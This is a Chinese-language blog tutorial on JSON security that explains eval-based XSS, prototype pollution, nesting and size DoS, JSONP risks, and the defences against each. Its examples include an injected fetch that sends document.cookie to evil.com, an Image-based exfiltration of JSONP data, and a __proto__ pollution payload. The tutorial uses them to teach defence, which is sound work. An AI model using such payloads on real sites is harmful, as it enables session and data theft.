JSON 安全性完全指南:XSS 攻击、原型污染与防护方案
每个程序员都在用 JSON,但很少有人认真考虑 JSON 的安全问题。XSS 注入、原型污染、超大 payload 攻击……这些漏洞一旦被利用,后果可能是灾难性的。这篇文章帮你系统梳理 JSON 相关的安全风险和防护方案。
1. XSS 注入:eval() 是元凶
问题
最危险的写法——用 eval() 解析 JSON:
1 2
| const data = eval('(' + userInput + ')')
|
如果用户输入的是:
一切都好。但如果用户输入的是:
1
| {"name": "test"}); fetch('https://evil.com/steal?cookie=' + document.cookie
|
eval 会执行这段代码,用户的 cookie 就被偷走了。
正确做法
1 2 3 4 5 6 7 8 9
| const data = JSON.parse(userInput)
try { const data = JSON.parse(userInput) } catch (e) { console.error('非法 JSON 输入', e) }
|
渲染时的 XSS
从 JSON 中取出数据直接渲染到页面上也可能出问题:
1 2 3 4 5
| element.innerHTML = `<div>${data.username}</div>`
|
正确做法:
1 2 3 4 5 6 7 8 9
| element.textContent = data.username
import DOMPurify from 'dompurify' element.innerHTML = DOMPurify.sanitize(data.content)
|
你可以用 JSON 校验工具 快速检查你的 JSON 是否包含非法字符。
2. 原型污染(Prototype Pollution)
是什么
JavaScript 中,对象会继承 Object.prototype 的属性。如果攻击者能修改原型对象,所有对象都会受到影响。
1 2 3 4 5 6
| const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}')
const user = {} console.log(user.isAdmin)
|
更隐蔽的攻击路径:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| function merge(target, source) { for (const key in source) { if (source.hasOwnProperty(key)) { if (typeof source[key] === 'object' && typeof target[key] === 'object') { merge(target[key], source[key]) } else { target[key] = source[key] } } } }
const config = {} const userInput = JSON.parse('{"__proto__": {"polluted": true}}')
merge(config, userInput)
const obj = {} console.log(obj.polluted)
|
防护方案
方案 1:过滤 __proto__ 和 constructor 键
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function safeMerge(target, source) { for (const key in source) { if (!source.hasOwnProperty(key)) continue if (key === '__proto__' || key === 'constructor') continue if (typeof source[key] === 'object' && typeof target[key] === 'object') { safeMerge(target[key], source[key]) } else { target[key] = source[key] } } return target }
|
方案 2:使用 Object.create(null) 创建无原型的对象
1 2 3
| const safe = Object.create(null) safe.name = 'test'
|
方案 3:使用 JSON.parse 的 reviver 参数
1 2 3 4 5 6
| const data = JSON.parse(userInput, (key, value) => { if (key === '__proto__' || key === 'constructor') { return undefined } return value })
|
方案 4:用 Map 代替对象(ES6 推荐)
1 2 3
| const config = new Map(Object.entries(data)) console.log(config.get('name'))
|
3. 超大 payload 攻击(DoS)
问题
攻击者发送一个巨大的 JSON 来耗尽服务器内存:
更恶意的——**” Billion Laughs “ 的 JSON 版本**(利用数组/对象嵌套):
1
| {"a":{"a":{"a":{"a":{"a":...}}}}}
|
深层嵌套的 JSON 会让 JSON.parse 栈溢出,导致程序崩溃。
防护方案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function safeParse(text, maxSize = 1024 * 1024) { if (text.length > maxSize) { throw new Error('JSON 太大,请检查输入') } return JSON.parse(text) }
function safeParseWithDepth(text, maxDepth = 100) { let depth = 0 return JSON.parse(text, (key, value) => { if (typeof value === 'object' && value !== null) { depth++ if (depth > maxDepth) { throw new Error('JSON 嵌套太深,超过安全限制') } } return value }) }
|
4. JSONP 的安全问题
问题
JSONP(JSON with Padding)是一种跨域请求的旧方案,已经被 CORS 替代。但很多旧系统还在用:
1 2 3 4 5 6 7 8
| function jsonpCallback(data) { console.log('用户数据:', data) }
const script = document.createElement('script') script.src = 'https://api.example.com/user?callback=jsonpCallback' document.body.appendChild(script)
|
如果第三方 API 被攻破,它可以返回:
1 2 3
| jsonpCallback();
(new Image()).src = 'https://evil.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
|
正确做法
不用 JSONP,用 CORS + fetch:
1 2 3 4 5
| const response = await fetch('https://api.example.com/user', { credentials: 'include' }) const data = await response.json()
|
如果必须用 JSONP(比如兼容老旧 API):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| function jsonp(url, timeout = 5000) { return new Promise((resolve, reject) => { const callbackName = 'jsonp_' + Date.now() window[callbackName] = function(data) { resolve(data) cleanup() } const timer = setTimeout(() => { reject(new Error('JSONP 超时')) cleanup() }, timeout) function cleanup() { delete window[callbackName] clearTimeout(timer) document.body.removeChild(script) } const script = document.createElement('script') script.src = url + (url.includes('?') ? '&' : '?') + 'callback=' + callbackName document.body.appendChild(script) }) }
|
5. 服务端 JSON 解析的安全实践
Node.js
1 2 3 4 5 6 7 8 9 10
| app.use(express.json({ limit: '1mb' }))
app.use((req, res, next) => { if (req.headers['content-length'] > 1024 * 1024) { return res.status(413).json({ error: '请求体太大' }) } next() })
|
Java(Spring Boot)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| spring: servlet: multipart: max-request-size: 1MB
@Configuration public class WebConfig implements WebMvcConfigurer { @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { MappingJackson2HttpMessageConverter converter = new MappingJackson2HttpMessageConverter(); converter.setObjectMapper(new ObjectMapper() .disable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS) ); converters.add(0, converter); } }
|
安全 checklist
用你的 JSON 工具站之前,对照检查一下:
| 检查项 |
状态 |
说明 |
| 不使用 eval 解析 JSON |
✅ |
用 JSON.parse |
| JSON.parse 放在 try-catch 中 |
✅ |
防止非法 JSON 崩溃 |
| 限制 JSON 大小 |
✅ |
防止 DoS |
| 过滤 proto 和 constructor |
✅ |
防止原型污染 |
| 渲染前净化 HTML 内容 |
✅ |
防止 XSS |
| 服务端限制请求体大小 |
✅ |
双重防护 |
| 不使用 JSONP(用 CORS) |
✅ |
新一代方案 |
需要在线检查你的 JSON 是否安全合法?推荐这个纯前端工具箱:
JSON 校验工具 — 不上传服务器,本地解析,保障数据安全
全套功能:格式化 / 校验 / 压缩 / 对比 / 转 CSV / 代码生成
https://jsonprocess.app
最后更新时间:
欢迎交流指正,如果本文对你有帮助,可以收藏或分享给需要的朋友。